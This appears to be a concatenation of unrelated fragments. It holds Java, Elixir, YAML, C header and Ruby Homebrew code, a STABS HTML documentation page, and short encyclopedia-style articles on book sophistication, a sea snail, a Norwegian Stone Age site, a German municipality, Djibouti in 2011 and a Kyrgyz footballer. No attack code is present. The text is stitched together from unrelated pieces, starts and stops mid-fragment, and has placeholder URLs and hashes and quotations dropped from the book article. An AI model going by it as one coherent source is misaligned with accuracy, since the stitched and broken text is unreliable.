constructDeviceProfileFromUpdateMsg(TenantId tenantId, DeviceProfileId deviceProfileId, DeviceProfileUpdateMsg deviceProfileUpdateMsg); protected abstract void setDefaultRuleChainId(TenantId tenantId, DeviceProfile deviceProfile, RuleChainId ruleChainId); protected abstract void setDefaultEdgeRuleChainId(DeviceProfile deviceProfile, RuleChainId ruleChainId, DeviceProfileUpdateMsg deviceProfileUpdateMsg); protected abstract void setDefaultDashboardId(TenantId tenantId, DashboardId dashboardId, DeviceProfile deviceProfile, DeviceProfileUpdateMsg deviceProfileUpdateMsg); } ```
```elixir defmodule Phx17Web.ConnCase do @moduledoc """ This module defines the test case to be used by tests that require setting up a connection. Such tests rely on `Phoenix.ConnTest` and also import other functionality to make it easier to build common data structures and query the data layer. Finally, if the test case interacts with the database, we enable the SQL sandbox, so changes done to the database are reverted at the end of every test. If you are using PostgreSQL, you can even run database tests asynchronously by setting `use Phx17Web.ConnCase, async: true`, although this option is not recommended for other databases. """ use ExUnit.CaseTemplate using do quote do # The default endpoint for testing @endpoint Phx17Web.Endpoint use Phx17Web, :verified_routes # Import conveniences for testing with connections import Plug.Conn import Phoenix.ConnTest import Phx17Web.ConnCase end end setup tags do Phx17.DataCase.setup_sandbox(tags) {:ok, conn: Phoenix.ConnTest.build_conn()} end end ```
```yaml # Test to verify that resource references available on the Api resource are properly resolved Resources: MyApi: Type: AWS::Serverless::Api Properties: StageName: Prod DefinitionUri: ${definitionuri} Outputs: StageName: Value: Ref: MyApi.Stage ApiId: Value: Ref: MyApi DeploymentId: Value: Ref: MyApi.Deployment Metadata: SamTransformTest: true ```
```shell Let's play the blame game Check the reflog Interactively stage patches Remember the results of previous hunk conflicts Sharing data by bundling ```
Sophistication of books is the practice of making a book complete by replacing missing leaves with leaves from another copy. In some cases this is done with the intent to deceive or mislead, modifying and offering books for sale in an attempt to sell them for a higher value. When offered for sale, a book's description should be clear and unambiguous, and indicate exactly and in detail any changes that have been made to the book. The modern idea of what constitutes a "perfect" copy of a book and the negative connotation that is often applied to "sophistication of books" developed in the mid-late 1900s. Some prefer to use the term “made-up” to indicate books that were recreated from multiple copies. Understanding and tracking details of sophisticated copies is particularly important for provenance, for bibliometrics and for studying the history of distribution and readership networks and book trade economics. Definitions According to the Encyclopedia of the Book (1996) by Geoffrey Glaister, the term sophistication is "said of an incomplete copy of a book which has been made complete by replacing a missing leaf of leaves with a leaf or leaves taken from another copy of the same edition, or with a carefully made facsimile reprint." This definition simply describes the state of the book, without implications of intention or value. In ABC for Book Collectors (1952) John Waynflete Carter takes a more pejorative view, saying: However, Carter also notes, in discussing RE-CASING, that The Code of Ethics and Standards of the Antiquarian Booksellers' Association of America states: Gentle restoration of a book is a legitimate thing to do, but misleading the purchaser of such a book is not. Indicators that leaves have been added to a book include anomalies in the predictable distribution of watermarks (e.g. watermarks on a pair of conjugate leaves), inconsistencies in illumination or annotation, extended margins, and even the appearance and disappearance of wormholes or other damage. While sophistication often occurs in the case of older books, it can also involve modern books. It is essential that any such changes must be clearly disclosed when a book is offered for sale. History The term “sophisticate” originates from Ancient Greek, a verb meaning to become wise or learned. It later acquired the negative connotation of Plato's critique of the Sophists, for deceptive reasoning and rhetoric. The term's earliest appearances in late medieval and early modern England use “sophisticated” in this negative sense of adulterating or mixing in impure or foreign elements. This meaning is similar to the term's 20th century application to rare books. The practices involved in the sophistication of books have not always been viewed negatively by book-buyers and book-sellers. Through the mid-nineteenth century, collation was understood as a process of textual comparison, a part of the work of collectors. They examined different iterations of a text in order to find “very trewe copies” and establish the correct or authoritative version. In England this was driven in part by a history of institutional destruction and dispersal and a desire to establish both national and religious identity. In 1798, a book was considered to be complete if all the information it was expected to contain was present. When John Philip Kemble described one of his books as "perfect", he meant that all of its textual content, including illustrations, dedications and other information, was included in the copy. He did not mean that the book was in the same condition in which it originally left the printer. By later 20th-century standards, the same book is considered "imperfect" for several reasons: its leaves have been trimmed and later re-collated and the rebound copy does not include blank leaves that the original printers placed at the beginning and end of the text. Over time, book-collecting and the state of one's books became seen as indicators of elite culture. During the eighteenth and into the nineteenth century, bibliophiles put considerable effort towards making a book "as clean as when it emerged from the printing press" through processes such as washing the pages. Efforts could even include cutting out and replacing entire pages where a previous owner had made notes in the margins. During the late nineteenth and early twentieth century, many collectors accepted the practice of making up a complete copy of a book by combining leaves from various copies, usually of the same edition, to replace damaged or missing pages. For Victorian and Edwardian collectors, the goal was often an object that was not only complete in the sense of containing content, but also aesthetically pleasing: clean, attractive, with uniformly high quality pages and a decorative binding. Changes in binding techniques and methods of paper restoration made it possible to remove stains, fill in lost pages, and rebuild leaf margins almost invisibly. These rebound and “made-up” books were not seen as problematic at that time, and were often prized by both collectors and booksellers. As of December 14, 1904, bibliophile Thomas James Wise wrote to collector John Henry Wrenn (1841–1911): Changes in attitude developed along with Anglo-American bibliographic techniques for determining whether or not a book's structure matched its original printing. Henry Bradshaw, librarian of the University of Cambridge, introduced the idea of copies as specimens of a work, and of a "perfect" work as an exemplar with characteristic features and structure. Bradshaw pioneered a methodology for the analysis of the structure of a textual object, articulating the idea of a “collational formula” for bibliographic description. Bibliographer W. W. Greg emphasized textual editing and collation formulas as primary ways of describing complete editions, “the necessary information for detecting imperfect copies.” With these new techniques, emphasis shifted from the content of the book to its nature as a material object. Bibliographers attempted to establish a relational text's material connection to what Ronald Brunlees McKerrow identified as an author's originating “copy-text”, "the text that the publisher or editor used as the basis of his or her work." Iterations of a copy-text were like ghosts, each hinting at its own origin, mediated and formed by processes of production. Bibliographers tracked differences between printings and bindings of copies, to identify whether a set of pages had originally belonged to a single material object. An edition refers to the set of copies that were printed from a single setting of type, generally at a particular time. From one edition to another, the text on the pages may differ due to modifications by the author, changes in pagination, and the introduction or correction of typographical errors by the type-setter. For example, differences in pagination and presence of typographic errors enable bibliographers to distinguish between the first and second editions of Charles Darwin's On the Origin of Species. The Wrenn Library at The University of Texas has been described as "a time capsule of what it meant to collect English literature in the nineteenth century”. Its collection of seventeenth- and eighteenth-century English and American authors was assembled by John Henry Wrenn. It includes books that were restored, "made-up", or "sophisticated" by Thomas James Wise. Wise used techniques that were legal and acceptable at that time, some of which would now be considered undesirable sophistications. He also engaged in activities that were flatly illegal both then and now, such as tipping-in pages stolen from the British Museum. With this shift in perspective on the perfect book, from complete content to exemplary copy, modifications that were seen as acceptable in earlier centuries were often seen as "tainting" the structure of the book. Sophistication became less acceptable. In mid-later 20th-century usage, the term is often put in negative contrast to the preservation of the material integrity of an original work. References Book arts History of books
Spiromoelleria quadrae is a species of small sea snail with calcareous opercula, a marine gastropod mollusk in the family Colloniidae. Description The shell grows to a height of 2 mm. Distribution This species occurs in the Northern Pacific. References Abbott R. T. (1974). American Seashells. The marine mollusca of the Atlantic and Pacific coast of North America. II edit. Van Nostrand, New York 663 p. + 24 pl: page(s): 61 External links To Encyclopedia of Life To USNM Invertebrate Zoology Mollusca Collection To ITIS To World Register of Marine Species Colloniidae Gastropods described in 1897
```objective-c /* * * This file is part of System Informer. * * Authors: * * wj32 2016-2017 * dmex 2017-2023 * */ #ifndef PH_APPSUP_H #define PH_APPSUP_H DEFINE_GUID(XP_CONTEXT_GUID, 0xbeb1b341, 0x6837, 0x4c83, 0x83, 0x66, 0x2b, 0x45, 0x1e, 0x7c, 0xe6, 0x9b); DEFINE_GUID(VISTA_CONTEXT_GUID, 0xe2011457, 0x1546, 0x43c5, 0xa5, 0xfe, 0x00, 0x8d, 0xee, 0xe3, 0xd3, 0xf0); DEFINE_GUID(WIN7_CONTEXT_GUID, 0x35138b9a, 0x5d96, 0x4fbd, 0x8e, 0x2d, 0xa2, 0x44, 0x02, 0x25, 0xf9, 0x3a); DEFINE_GUID(WIN8_CONTEXT_GUID, 0x4a2f28e3, 0x53b9, 0x4441, 0xba, 0x9c, 0xd6, 0x9d, 0x4a, 0x4a, 0x6e, 0x38); DEFINE_GUID(WINBLUE_CONTEXT_GUID, 0x1f676c76, 0x80e1, 0x4239, 0x95, 0xbb, 0x83, 0xd0, 0xf6, 0xd0, 0xda, 0x78); DEFINE_GUID(WIN10_CONTEXT_GUID, 0x8e0f7a12, 0xbfb3, 0x4fe8, 0xb9, 0xa5, 0x48, 0xfd, 0x50, 0xa1, 0x5a, 0x9a); // begin_phapppub PHAPPAPI BOOLEAN NTAPI PhGetProcessIsSuspended( _In_ PSYSTEM_PROCESS_INFORMATION Process ); PHAPPAPI BOOLEAN NTAPI PhIsProcessSuspended( _In_ HANDLE ProcessId ); BOOLEAN NTAPI PhIsProcessBackground( _In_ ULONG PriorityClass ); PHAPPAPI PPH_STRINGREF NTAPI PhGetProcessPriorityClassString( _In_ ULONG PriorityClass ); // end_phapppub NTSTATUS PhGetProcessSwitchContext( _In_ HANDLE ProcessHandle, _Out_ PGUID Guid ); // begin_phapppub typedef enum _PH_KNOWN_PROCESS_TYPE { UnknownProcessType, SystemProcessType, // ntoskrnl/ntkrnlpa/... SessionManagerProcessType, // smss WindowsSubsystemProcessType, // csrss WindowsStartupProcessType, // wininit ServiceControlManagerProcessType, // services LocalSecurityAuthorityProcessType, // lsass LocalSessionManagerProcessType, // lsm WindowsLogonProcessType, // winlogon ServiceHostProcessType, // svchost RunDllAsAppProcessType, // rundll32 ComSurrogateProcessType, // dllhost TaskHostProcessType, // taskeng, taskhost, taskhostex ExplorerProcessType, // explorer UmdfHostProcessType, // wudfhost NtVdmHostProcessType, // ntvdm //EdgeProcessType, // Microsoft Edge WmiProviderHostType, MaximumProcessType, KnownProcessTypeMask = 0xffff, KnownProcessWow64 = 0x20000 } PH_KNOWN_PROCESS_TYPE; PHAPPAPI NTSTATUS NTAPI PhGetProcessKnownType( _In_ HANDLE ProcessHandle, _Out_ PH_KNOWN_PROCESS_TYPE *KnownProcessType ); PHAPPAPI PH_KNOWN_PROCESS_TYPE NTAPI PhGetProcessKnownTypeEx( _In_opt_ HANDLE ProcessId, _In_ PPH_STRING FileName ); typedef union _PH_KNOWN_PROCESS_COMMAND_LINE { struct { PPH_STRING GroupName; } ServiceHost; struct { PPH_STRING FileName; PPH_STRING ProcedureName; } RunDllAsApp; struct { GUID Guid; PPH_STRING Name; // optional PPH_STRING FileName; // optional } ComSurrogate; } PH_KNOWN_PROCESS_COMMAND_LINE, *PPH_KNOWN_PROCESS_COMMAND_LINE; _Success_(return) PHAPPAPI BOOLEAN NTAPI PhaGetProcessKnownCommandLine( _In_ PPH_STRING CommandLine, _In_ PH_KNOWN_PROCESS_TYPE KnownProcessType, _Out_ PPH_KNOWN_PROCESS_COMMAND_LINE KnownCommandLine ); // end_phapppub PPH_STRING PhEscapeStringForDelimiter( _In_ PPH_STRING String, _In_ WCHAR Delimiter ); PPH_STRING PhUnescapeStringForDelimiter( _In_ PPH_STRING String, _In_ WCHAR Delimiter ); // begin_phapppub PHAPPAPI VOID NTAPI PhSearchOnlineString( _In_ HWND WindowHandle, _In_ PWSTR String ); PHAPPAPI VOID NTAPI PhShellExecuteUserString( _In_ HWND WindowHandle, _In_ PWSTR Setting, _In_ PWSTR String, _In_ BOOLEAN UseShellExecute, _In_opt_ PWSTR ErrorMessage ); PHAPPAPI VOID NTAPI PhLoadSymbolProviderOptions( _Inout_ PPH_SYMBOL_PROVIDER SymbolProvider ); PHAPPAPI VOID NTAPI PhCopyListViewInfoTip( _Inout_ LPNMLVGETINFOTIP GetInfoTip, _In_ PPH_STRINGREF Tip ); PHAPPAPI VOID NTAPI PhCopyListView( _In_ HWND ListViewHandle ); PHAPPAPI VOID NTAPI PhHandleListViewNotifyForCopy( _In_ LPARAM lParam, _In_ HWND ListViewHandle ); #define PH_LIST_VIEW_CTRL_C_BEHAVIOR 0x1 #define PH_LIST_VIEW_CTRL_A_BEHAVIOR 0x2 #define PH_LIST_VIEW_DEFAULT_1_BEHAVIORS (PH_LIST_VIEW_CTRL_C_BEHAVIOR | PH_LIST_VIEW_CTRL_A_BEHAVIOR) PHAPPAPI VOID NTAPI PhHandleListViewNotifyBehaviors( _In_ LPARAM lParam, _In_ HWND ListViewHandle, _In_ ULONG Behaviors ); PHAPPAPI BOOLEAN NTAPI PhGetListViewContextMenuPoint( _In_ HWND ListViewHandle, _Out_ PPOINT Point ); // end_phapppub VOID PhSetWindowOpacity( _In_ HWND WindowHandle, _In_ ULONG OpacityPercent ); #define PH_OPACITY_TO_ID(Opacity) (ID_OPACITY_10 + (10 - (Opacity) / 10) - 1) #define PH_ID_TO_OPACITY(Id) (100 - (((Id) - ID_OPACITY_10) + 1) * 10) // begin_phapppub PHAPPAPI PPH_STRING NTAPI PhGetPhVersion( VOID ); PHAPPAPI VOID NTAPI PhGetPhVersionNumbers( _Out_opt_ PULONG MajorVersion, _Out_opt_ PULONG MinorVersion, _Out_opt_ PULONG BuildNumber, _Out_opt_ PULONG RevisionNumber ); PHAPPAPI PPH_STRING NTAPI PhGetPhVersionHash( VOID ); typedef enum _PH_RELEASE_CHANNEL { PhReleaseChannel = 0, PhPreviewChannel = 1, // unused, reserved PhCanaryChannel = 2, PhDeveloperChannel = 3, } PH_RELEASE_CHANNEL, *PPH_RELEASE_CHANNEL; PHAPPAPI PH_RELEASE_CHANNEL NTAPI PhGetPhReleaseChannel( VOID ); PHAPPAPI PCWSTR NTAPI PhGetPhReleaseChannelString( VOID ); PHAPPAPI VOID NTAPI PhWritePhTextHeader( _Inout_ PPH_FILE_STREAM FileStream ); #define PH_SHELL_APP_PROPAGATE_PARAMETERS 0x1 #define PH_SHELL_APP_PROPAGATE_PARAMETERS_IGNORE_VISIBILITY 0x2 PHAPPAPI NTSTATUS NTAPI PhShellProcessHacker( _In_opt_ HWND WindowHandle, _In_opt_ PWSTR Parameters, _In_ ULONG ShowWindowType, _In_ ULONG Flags, _In_ ULONG AppFlags, _In_opt_ ULONG Timeout, _Out_opt_ PHANDLE ProcessHandle ); // end_phapppub NTSTATUS PhShellProcessHackerEx( _In_opt_ HWND WindowHandle, _In_opt_ PWSTR FileName, _In_opt_ PWSTR Parameters, _In_ ULONG ShowWindowType, _In_ ULONG Flags, _In_ ULONG AppFlags, _In_opt_ ULONG Timeout, _Out_opt_ PHANDLE ProcessHandle ); BOOLEAN PhCreateProcessIgnoreIfeoDebugger( _In_ PWSTR FileName, _In_opt_ PWSTR CommandLine ); // begin_phapppub typedef struct _PH_EMENU_ITEM* PPH_EMENU_ITEM; typedef struct _PH_TN_COLUMN_MENU_DATA { HWND TreeNewHandle; PPH_TREENEW_HEADER_MOUSE_EVENT MouseEvent; ULONG DefaultSortColumn; PH_SORT_ORDER DefaultSortOrder; PPH_EMENU_ITEM Menu; PPH_EMENU_ITEM Selection; ULONG ProcessedId; } PH_TN_COLUMN_MENU_DATA, *PPH_TN_COLUMN_MENU_DATA; #define PH_TN_COLUMN_MENU_HIDE_COLUMN_ID ((ULONG)-1) #define PH_TN_COLUMN_MENU_CHOOSE_COLUMNS_ID ((ULONG)-2) #define PH_TN_COLUMN_MENU_SIZE_COLUMN_TO_FIT_ID ((ULONG)-3) #define PH_TN_COLUMN_MENU_SIZE_ALL_COLUMNS_TO_FIT_ID ((ULONG)-4) #define PH_TN_COLUMN_MENU_RESET_SORT_ID ((ULONG)-5) PHAPPAPI VOID NTAPI PhInitializeTreeNewColumnMenu( _Inout_ PPH_TN_COLUMN_MENU_DATA Data ); #define PH_TN_COLUMN_MENU_NO_VISIBILITY 0x1 #define PH_TN_COLUMN_MENU_SHOW_RESET_SORT 0x2 PHAPPAPI VOID NTAPI PhInitializeTreeNewColumnMenuEx( _Inout_ PPH_TN_COLUMN_MENU_DATA Data, _In_ ULONG Flags ); PHAPPAPI BOOLEAN NTAPI PhHandleTreeNewColumnMenu( _Inout_ PPH_TN_COLUMN_MENU_DATA Data ); PHAPPAPI VOID NTAPI PhDeleteTreeNewColumnMenu( _In_ PPH_TN_COLUMN_MENU_DATA Data ); typedef struct _PH_TN_FILTER_SUPPORT { PPH_LIST FilterList; HWND TreeNewHandle; PPH_LIST NodeList; } PH_TN_FILTER_SUPPORT, *PPH_TN_FILTER_SUPPORT; typedef BOOLEAN (NTAPI *PPH_TN_FILTER_FUNCTION)( _In_ PPH_TREENEW_NODE Node, _In_opt_ PVOID Context ); typedef struct _PH_TN_FILTER_ENTRY { PPH_TN_FILTER_FUNCTION Filter; PVOID Context; } PH_TN_FILTER_ENTRY, *PPH_TN_FILTER_ENTRY; PHAPPAPI VOID NTAPI PhInitializeTreeNewFilterSupport( _Out_ PPH_TN_FILTER_SUPPORT Support, _In_ HWND TreeNewHandle, _In_ PPH_LIST NodeList ); PHAPPAPI VOID NTAPI PhDeleteTreeNewFilterSupport( _In_ PPH_TN_FILTER_SUPPORT Support ); PHAPPAPI PPH_TN_FILTER_ENTRY NTAPI PhAddTreeNewFilter( _In_ PPH_TN_FILTER_SUPPORT Support, _In_ PPH_TN_FILTER_FUNCTION Filter, _In_opt_ PVOID Context ); PHAPPAPI VOID NTAPI PhRemoveTreeNewFilter( _In_ PPH_TN_FILTER_SUPPORT Support, _In_ PPH_TN_FILTER_ENTRY Entry ); PHAPPAPI BOOLEAN NTAPI PhApplyTreeNewFiltersToNode( _In_ PPH_TN_FILTER_SUPPORT Support, _In_ PPH_TREENEW_NODE Node ); PHAPPAPI VOID NTAPI PhApplyTreeNewFilters( _In_ PPH_TN_FILTER_SUPPORT Support ); typedef struct _PH_COPY_CELL_CONTEXT { HWND TreeNewHandle; ULONG Id; // column ID PPH_STRING MenuItemText; } PH_COPY_CELL_CONTEXT, *PPH_COPY_CELL_CONTEXT; PHAPPAPI BOOLEAN NTAPI PhInsertCopyCellEMenuItem( _In_ PPH_EMENU_ITEM Menu, _In_ ULONG InsertAfterId, _In_ HWND TreeNewHandle, _In_ PPH_TREENEW_COLUMN Column ); PHAPPAPI BOOLEAN NTAPI PhHandleCopyCellEMenuItem( _In_ PPH_EMENU_ITEM SelectedItem ); typedef struct _PH_COPY_ITEM_CONTEXT { HWND ListViewHandle; ULONG Id; ULONG SubId; PPH_STRING MenuItemText; } PH_COPY_ITEM_CONTEXT, *PPH_COPY_ITEM_CONTEXT; PHAPPAPI BOOLEAN NTAPI PhInsertCopyListViewEMenuItem( _In_ PPH_EMENU_ITEM Menu, _In_ ULONG InsertAfterId, _In_ HWND ListViewHandle ); PHAPPAPI BOOLEAN NTAPI PhHandleCopyListViewEMenuItem( _In_ PPH_EMENU_ITEM SelectedItem ); PHAPPAPI VOID NTAPI PhShellOpenKey( _In_ HWND WindowHandle, _In_ PPH_STRING KeyName ); PHAPPAPI BOOLEAN NTAPI PhShellOpenKey2( _In_ HWND WindowHandle, _In_ PPH_STRING KeyName ); // end_phapppub PPH_STRING PhPcre2GetErrorMessage( _In_ INT ErrorCode ); // begin_phapppub PHAPPAPI HBITMAP NTAPI PhGetShieldBitmap( _In_ LONG WindowDpi, _In_opt_ LONG Width, _In_opt_ LONG Height ); PHAPPAPI HICON NTAPI PhGetApplicationIcon( _In_ BOOLEAN SmallIcon ); PHAPPAPI HICON NTAPI PhGetApplicationIconEx( _In_ BOOLEAN SmallIcon, _In_opt_ LONG WindowDpi ); PHAPPAPI VOID NTAPI PhSetApplicationWindowIcon( _In_ HWND WindowHandle ); PHAPPAPI VOID NTAPI PhSetApplicationWindowIconEx( _In_ HWND WindowHandle, _In_opt_ LONG WindowDpi ); PHAPPAPI VOID NTAPI PhSetWindowIcon( _In_ HWND WindowHandle, _In_opt_ HICON SmallIcon, _In_opt_ HICON LargeIcon, _In_ BOOLEAN CleanupIcon ); PHAPPAPI VOID NTAPI PhDestroyWindowIcon( _In_ HWND WindowHandle ); PHAPPAPI VOID NTAPI PhSetStaticWindowIcon( _In_ HWND WindowHandle, _In_opt_ LONG WindowDpi ); PHAPPAPI VOID NTAPI PhDeleteStaticWindowIcon( _In_ HWND WindowHandle ); // end_phapppub #define SI_RUNAS_ADMIN_TASK_NAME ((PH_STRINGREF)PH_STRINGREF_INIT(L"SystemInformerTaskAdmin")) HRESULT PhRunAsAdminTask( _In_ PPH_STRINGREF TaskName ); HRESULT PhDeleteAdminTask( _In_ PPH_STRINGREF TaskName ); HRESULT PhCreateAdminTask( _In_ PPH_STRINGREF TaskName, _In_ PPH_STRINGREF FileName ); NTSTATUS PhRunAsAdminTaskUIAccess( VOID ); // begin_phapppub PHAPPAPI BOOLEAN NTAPI PhWordMatchStringRef( _In_ PPH_STRINGREF SearchText, _In_ PPH_STRINGREF Text ); FORCEINLINE BOOLEAN NTAPI PhWordMatchStringZ( _In_ PPH_STRING SearchText, _In_ PWSTR Text ) { PH_STRINGREF text; PhInitializeStringRef(&text, Text); return PhWordMatchStringRef(&SearchText->sr, &text); } FORCEINLINE BOOLEAN NTAPI PhWordMatchStringLongHintZ( _In_ PPH_STRING SearchText, _In_ PWSTR Text ) { PH_STRINGREF text; PhInitializeStringRefLongHint(&text, Text); return PhWordMatchStringRef(&SearchText->sr, &text); } PHAPPAPI PVOID NTAPI PhCreateKsiSettingsBlob( // ksisup.c VOID ); // end_phapppub #define PH_LOAD_SHARED_ICON_SMALL(BaseAddress, Name, dpiValue) PhLoadIcon(BaseAddress, (Name), PH_LOAD_ICON_SHARED | PH_LOAD_ICON_SIZE_SMALL, 0, 0, dpiValue) // phapppub #define PH_LOAD_SHARED_ICON_LARGE(BaseAddress, Name, dpiValue) PhLoadIcon(BaseAddress, (Name), PH_LOAD_ICON_SHARED | PH_LOAD_ICON_SIZE_LARGE, 0, 0, dpiValue) // phapppub FORCEINLINE PVOID PhpGenericPropertyPageHeader( _In_ HWND hwndDlg, _In_ UINT uMsg, _In_ WPARAM wParam, _In_ LPARAM lParam, _In_ ULONG ContextHash ) { PVOID context; switch (uMsg) { case WM_INITDIALOG: { LPPROPSHEETPAGE propSheetPage = (LPPROPSHEETPAGE)lParam; context = (PVOID)propSheetPage->lParam; PhSetWindowContext(hwndDlg, ContextHash, context); } break; case WM_NCDESTROY: { context = PhGetWindowContext(hwndDlg, ContextHash); PhRemoveWindowContext(hwndDlg, ContextHash); } break; default: { context = PhGetWindowContext(hwndDlg, ContextHash); } break; } return context; } #define SWP_NO_ACTIVATE_MOVE_SIZE_ZORDER (SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER) #define SWP_SHOWWINDOW_ONLY (SWP_NO_ACTIVATE_MOVE_SIZE_ZORDER | SWP_SHOWWINDOW) #define SWP_HIDEWINDOW_ONLY (SWP_NO_ACTIVATE_MOVE_SIZE_ZORDER | SWP_HIDEWINDOW) #endif ```
```html <html lang="en"> <head> <title>Transformations On Static Variables - STABS</title> <meta http-equiv="Content-Type" content="text/html"> <meta name="description" content="STABS"> <meta name="generator" content="makeinfo 4.8"> <link title="Top" rel="start" href="index.html#Top"> <link rel="up" href="Transformations-On-Symbol-Tables.html#Transformations-On-Symbol-Tables" title="Transformations On Symbol Tables"> <link rel="next" href="Transformations-On-Global-Variables.html#Transformations-On-Global-Variables" title="Transformations On Global Variables"> <link href="path_to_url" rel="generator-home" title="Texinfo Homepage"> <!-- Contributed by Cygnus Support. Written by Julia Menapace, Jim Kingdon, and David MacKenzie. Permission is granted to copy, distribute and/or modify this document any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled ``GNU <meta http-equiv="Content-Style-Type" content="text/css"> <style type="text/css"><!-- pre.display { font-family:inherit } pre.format { font-family:inherit } pre.smalldisplay { font-family:inherit; font-size:smaller } pre.smallformat { font-family:inherit; font-size:smaller } pre.smallexample { font-size:smaller } pre.smalllisp { font-size:smaller } span.sc { font-variant:small-caps } span.roman { font-family:serif; font-weight:normal; } span.sansserif { font-family:sans-serif; font-weight:normal; } --></style> </head> <body> <div class="node"> <p> <a name="Transformations-On-Static-Variables"></a> Next:&nbsp;<a rel="next" accesskey="n" href="Transformations-On-Global-Variables.html#Transformations-On-Global-Variables">Transformations On Global Variables</a>, Up:&nbsp;<a rel="up" accesskey="u" href="Transformations-On-Symbol-Tables.html#Transformations-On-Symbol-Tables">Transformations On Symbol Tables</a> <hr> </div> <h4 class="subsection">7.2.1 Transformations on Static Variables</h4> <p>This source line defines a static variable at file scope: <pre class="example"> static int s_g_repeat </pre> <p class="noindent">The following stab describes the symbol: <pre class="example"> .stabs "s_g_repeat:S1",38,0,0,_s_g_repeat </pre> <p class="noindent">The assembler transforms the stab into this symbol table entry in the <samp><span class="file">.o</span></samp> file. The location is expressed as a data segment offset. <pre class="example"> 00000084 - 00 0000 STSYM s_g_repeat:S1 </pre> <p class="noindent">In the symbol table entry from the executable, the linker has made the relocatable address absolute. <pre class="example"> 0000e00c - 00 0000 STSYM s_g_repeat:S1 </pre> </body></html> ```
Stunner was the site of a Stone Age settlement located near Ski in Akershus County, Norway. The settlement was first discovered during 1928 on the Stunner farm while Johannes Mikkelsen harvested potatoes. Mikkelsen was a well-read man with a great interest in archeology. In February 1929 he first collected eight flint pieces for submission to the University of Oslo Museum of National Antiquities. Subsequently, Mikkelsen and his two sons, Hans and Sverre, submitted approximately 700 finds from their farm to the University Museum. The flint finds from the Stone Age settlement at Stunner reveal that the site was populated around 11,000 years ago. During the Upper Paleolithic era, pioneer settlers from the Ahrensburg culture tracked northward from the submerged North Sea continent and European mainland. Their primary prey was reindeer. At Stunner marine resources was also significant. The landscape the settlers encountered was dramatically different from the present. The sea level was 160 meters higher, and the fauna and flora resembled the arctic tundra and coastline. References Prehistoric sites in Norway North Sea Stone Age sites in Europe Ski, Norway
Daberkow is a municipality in the Vorpommern-Greifswald district, in Mecklenburg-Vorpommern, Germany. Its population in 2021 was 329. References Vorpommern-Greifswald
```ruby class Audacious < Formula desc "Lightweight and versatile audio player" homepage "path_to_url" license "BSD-2-Clause" stable do url "path_to_url" sha256 your_sha256_hash resource "plugins" do url "path_to_url" sha256 your_sha256_hash end end livecheck do url "path_to_url" regex(/href=.*?audacious[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do sha256 arm64_sonoma: your_sha256_hash sha256 arm64_ventura: your_sha256_hash sha256 arm64_monterey: your_sha256_hash sha256 sonoma: your_sha256_hash sha256 ventura: your_sha256_hash sha256 monterey: your_sha256_hash sha256 x86_64_linux: your_sha256_hash end head do url "path_to_url", branch: "master" resource "plugins" do url "path_to_url", branch: "master" end end depends_on "gettext" => :build depends_on "meson" => :build depends_on "ninja" => :build depends_on "pkg-config" => :build depends_on "faad2" depends_on "ffmpeg" depends_on "flac" depends_on "fluid-synth" depends_on "gdk-pixbuf" depends_on "glib" depends_on "lame" depends_on "libbs2b" depends_on "libcue" depends_on "libmodplug" depends_on "libnotify" depends_on "libogg" depends_on "libopenmpt" depends_on "libsamplerate" depends_on "libsndfile" depends_on "libsoxr" depends_on "libvorbis" depends_on "mpg123" depends_on "neon" depends_on "opusfile" depends_on "qt" depends_on "sdl2" depends_on "wavpack" uses_from_macos "curl" uses_from_macos "zlib" on_macos do depends_on "gettext" depends_on "opus" end on_linux do depends_on "alsa-lib" depends_on "jack" depends_on "libx11" depends_on "libxml2" depends_on "pulseaudio" end fails_with gcc: "5" def install odie "plugins resource needs to be updated" if build.stable? && version != resource("plugins").version args = %w[ -Dgtk=false ] system "meson", "setup", "build", *std_meson_args, *args, "-Ddbus=false" system "meson", "compile", "-C", "build", "--verbose" system "meson", "install", "-C", "build" resource("plugins").stage do args += %w[ -Dmpris2=false -Dmac-media-keys=true ] ENV.prepend_path "PKG_CONFIG_PATH", lib/"pkgconfig" system "meson", "setup", "build", *std_meson_args, *args system "meson", "compile", "-C", "build", "--verbose" system "meson", "install", "-C", "build" end end def caveats <<~EOS audtool does not work due to a broken dbus implementation on macOS, so it is not built. GTK+ GUI is not built by default as the Qt GUI has better integration with macOS, and the GTK GUI would take precedence if present. EOS end test do system bin/"audacious", "--help" end end ```
The following lists events that happened during 2011 in Djibouti. Incumbents President: Ismaïl Omar Guelleh Prime Minister: Dileita Mohamed Dileita Events February February 18 - Police shoot tear gas at thousands of people demonstrating against the Ismail Omar Guelleh regime in Djibouti. May May 12 - The International Criminal Court asks the United Nations Security Council to take action over Djibouti's failure to arrest Sudanese President Omar al-Bashir, who was indicted by the court on charges of war crimes. References 2010s in Djibouti Years of the 21st century in Djibouti Djibouti Djibouti
Bektur Talgat Uulu (born 9 September 1994) is a Kyrgyz professional footballer who plays as a midfielder for I-League club NEROCA. Career In January 2017, Uulu signed for Churchill Brothers. Uulu made his professional debut in India, playing for Churchill Brothers in the I-League against East Bengal. He came on as a halftime substitute for Kingsley Fernandes but could not prevent his side from losing 2–0. On 22 April 2017 he scored four goals in a match against Chennai City. In August 2017, Uulu signed a one-year contract with Sur of the Oman First Division League. In January 2018 he returned to Churchill Brothers. He played a total of 10 matches in the 2017–18 I-League season. Later he was included in Churchill's squad for remaining matches of Goa Professional League. He scored his first goal of the 2017-18 season in a 10–0 win against FC Bardez. In October 2018, he joined Aizawl FC. NEROCA In August 2022, Uulu returned to India after three years with I-League club NEROCA. On 18 August, he made his debut for the club in the Imphal Derby against TRAU in the Durand Cup, which ended in a 3–1 win. International career He was called 2 times for the Kyrgyzstan national football team. But as of January 2019, he hasn't played in any official matches. Career statistics Club References External links Bektur Talgat Uulu at The Players Agent 1994 births Living people Kyrgyzstani men's footballers Kyrgyzstani expatriate men's footballers Kyrgyzstan men's under-21 international footballers Men's association football midfielders FC Abdysh-Ata Kant players FC Alga Bishkek players Sur SC players Churchill Brothers FC Goa players FC Zhenis players United Victory players PSM Makassar players NEROCA FC players I-League players Kyrgyz Premier League players Dhivehi Premier League players Liga 1 (Indonesia) players Kyrgyzstani expatriate sportspeople in Kazakhstan Kyrgyzstani expatriate sportspeople in Oman Kyrgyzstani expatriate sportspeople in India Kyrgyzstani expatriate sportspeople in the Maldives Kyrgyzstani expatriate sportspeople in 